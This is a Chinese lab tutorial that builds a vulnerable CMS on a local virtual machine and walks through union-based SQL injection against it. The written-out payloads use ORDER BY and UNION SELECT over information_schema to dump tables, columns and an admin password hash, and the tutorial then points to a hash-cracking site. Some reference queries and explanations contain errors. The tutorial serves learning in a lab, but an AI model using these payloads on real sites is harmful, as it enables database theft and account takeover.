SQL注入實戰之聯合查詢篇(含漏洞網站搭建)


環境搭建

  • 這里使用的windows2003+phpstudy2018+sdy1.5
  • 我們解壓sdy1.5至phpstudy下WWW文件內,在瀏覽器中輸入127.0.0.1/sdy1.5進行安裝
  •  

    一路通過即可,我就不再贅述。

  • 至此安裝成功界面如下,下面我們就進入緊張刺激的實戰演練環節嘍。

  •  

     

     

     

SQL注入環節

  1. 查看一下虛擬機的IP地址,為了流暢性我就在本機進行SQL注入實戰了。(當然兩個主機需要ping通了)

     

     

  2. 在瀏覽器中輸入192.168.233.146:/jdy1.5

     

     

  3. 觀察當前頁面的URL:http://192.168.233.146/jdy1.5/typeid.php?typeid=2 我們發現此處的typeid特別像此前sql-lab中的id參數,可以嘗試一下注入。
    輸入命令:  ?typeid=2 and 1=1
    觀察到頁面沒有變化

     

     

    輸入命令: ?typeid=2 and 1=2
    此時我們觀察出與以前的頁面發生了變化,可以斷定此處存在 數字型的SQL注入。(所以不用考慮參數閉合的問題)

     

     

  4. 此時,根據往常的思路,我們通過order by 語句判斷出數據庫的列數。
    輸入命令:?typeid =2  order by 5
                      ?typeid = 2  order by 6
    5正常回顯,6錯誤回顯,判斷出列數為5.
  5. 我們以聯合查詢(union select)為例,觀察回顯位置。
    輸入命令:?typeid = 2 and 1=2 union select 1,2,3,4,5
    可以觀察出2的位置可以回顯,以此為輸出位置,接下來進行爆庫操作。
    注:此處的 and 1=2 為恆定錯誤語句 作用就是注釋前面的語句,只執行了 union select 1,2,3,4,5

     

     

  6. 輸入命令:?typeid = 2 and 1=2 union select 1,database(),3,4,5
    可以觀察到回顯出了當前數據庫jdycms
  7.  

    在進行爆庫爆表等等操作之前,先來回憶一下這些核心語句。
    information_schema 系統默認數據庫
    三個重要的表
    schemata(schema_name)
    tables(table_schema,table_name)
    columns(table_schema,table_name,column_name)


    select schema_name from information_schema.schemata; 爆庫
    select table_name from information_schema.shcemata where table_schema='dvwa'; 爆表
    select column_name from information_schema.columns where table_name='users' and colunm_name ='dvwa';爆列
    select username,password from dvwa.users;爆內容

  8. 爆庫操作和上上步中的database()相同,我就不再進行此操作,直接爆庫。
    輸入命令:?typeid = 2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=database()
                                    and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x6a6479636d73
    最后不能直接用jdycms,需要將其轉換成十六進制或者依舊用datbase()代替。

     

     

  9. 此處利用一個group_concat函數使其全部顯示,或者利用limit 函數逐一查詢。
    輸入命令:?typeid = 2 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()

     

     

  10. 爆列
    輸入命令:and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=0x6a6479636d73 and table_name=0x6a64795f61646d696e

     

     

  11. 爆內容
    輸入命令:and 1=2 union select 1,group_concat(concat_ws(0x7e,username,password)),3,4,5 from jdycms.jdy_admin
    此處同時使用了concat_ws()和group_concat()兩個函數,詳細使用說明可以自己查詢哦。0x7e就是波浪線,波浪線連接用戶名和密碼。

     

     

    admin~b9be11166d72e9e3ae7fd407165e4bd2
     最后我們登錄解碼網站解碼www.cmd5.com

     

     

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM